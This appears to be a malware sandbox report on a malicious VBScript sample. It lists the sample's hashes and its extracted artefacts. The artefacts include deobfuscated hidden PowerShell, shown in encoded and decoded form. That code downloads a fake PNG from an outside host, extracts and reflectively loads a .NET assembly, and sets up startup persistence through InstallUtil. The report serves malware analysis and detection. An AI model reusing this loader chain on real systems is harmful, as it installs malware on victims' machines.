Malicious
Malicious

85d0863996ebc7a9dc3b73e11bd5ae55

VBScript
|
MD5: 85d0863996ebc7a9dc3b73e11bd5ae55
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Size: 80.02 KB
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text/vbscript


Print
Infection Chain
Summary by MalvaGPT
Characteristics
Hash
Hash Value
MD5
85d0863996ebc7a9dc3b73e11bd5ae55
Sha1
6fff117183390cd886ee9d9dc25d996fa8191635
Sha256
5878cdf159acf243c6e537ecc308b726dc68d281f5d638b6d1dacb2c32a26692
Sha384
87afd6087539cfadaaa0fb0a9397006455f374124e4041d193a477152a555cad985cefe33a1f90cd33425711f9c6fb9b
Sha512
1e6182096c6ef08656abf5b7aae27e196ba7dc73e96f44b0302958be7dd521a66faa23b4df115b5c6a4ae37a46b447510b079f3c51e555c882b13ed08cc2b840
SSDeep
1536:hP44keHgQmdck1NQKnyshsBKt1nQaH1z/x:m4kWDmdck1N7nh2Kt1nBz/x
TLSH
FD73900B9ADB3267594556AACF19FDC4730B95D7E2C0420D62EDACE8483CFB08B236D5
File Structure
Artefacts
Name
Value
URLs in VB Code - #1

http://www.ostrosoft.com/smtp.html

Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1eVpwSldidDFXYnQxV2J0VjJMeWNqTHlFak11UXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Deobfuscated PowerShell

powershell -NoProfile -WindowStyle "Hidden" -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgyMS9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1eVpwSldidDFXYnQxV2J0VjJMeWNqTHlFak11UXpOeDR5TndFekx2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywnSW5zdGFsbFV0aWwnLCcnLCdJbnN0YWxsVXRpbCcsJycsJ1VSTCcsJ0M6XFVzZXJzXFB1YmxpY1xEb3dubG9hZHNcJywnTmFtZV9GaWxlJywndmJzJywnMScsJycsJ1Rhc2tfTmFtZScsJzAnLCdzdGFydHVwX29uc3RhcnQnKSk7')) | Invoke-Expression"

Deobfuscated PowerShell

Invoke-Expression

Deobfuscated PowerShell

Invoke-Expression

Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05yZpJWbt1Wbt1WbtV2LycjLyEjMuQzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Deobfuscated PowerShell

$null = ((New-Object "Net.WebClient")."DownloadString"("https://archive.org/download/optimized_msi_20250821/optimized_MSI.png") -match "BaseStart-(.*?)-BaseEnd") $valor = $matches[1] $assembly = [Assembly]::"Load"([Convert]::"FromBase64String"($valor)) $olinia = "=QHe05yZpJWbt1Wbt1WbtV2LycjLyEjMuQzNx4yNwEzLvoDc0RHa" $type = $assembly."GetType"("ClassLibrary1.Home") $method = $type."GetMethod"("VAI") $method."Invoke"($null, [object[]] @({ @($olinia, "", "C:\Users\Public\Downloads\", "Name_File", "InstallUtil", "", "InstallUtil", "", "URL", "C:\Users\Public\Downloads\", "Name_File", "vbs", "1", "", "Task_Name", "0", "startup_onstart") } ))

Deobfuscated PowerShell

Invoke-Expression

85d0863996ebc7a9dc3b73e11bd5ae55 (80.02 KB)
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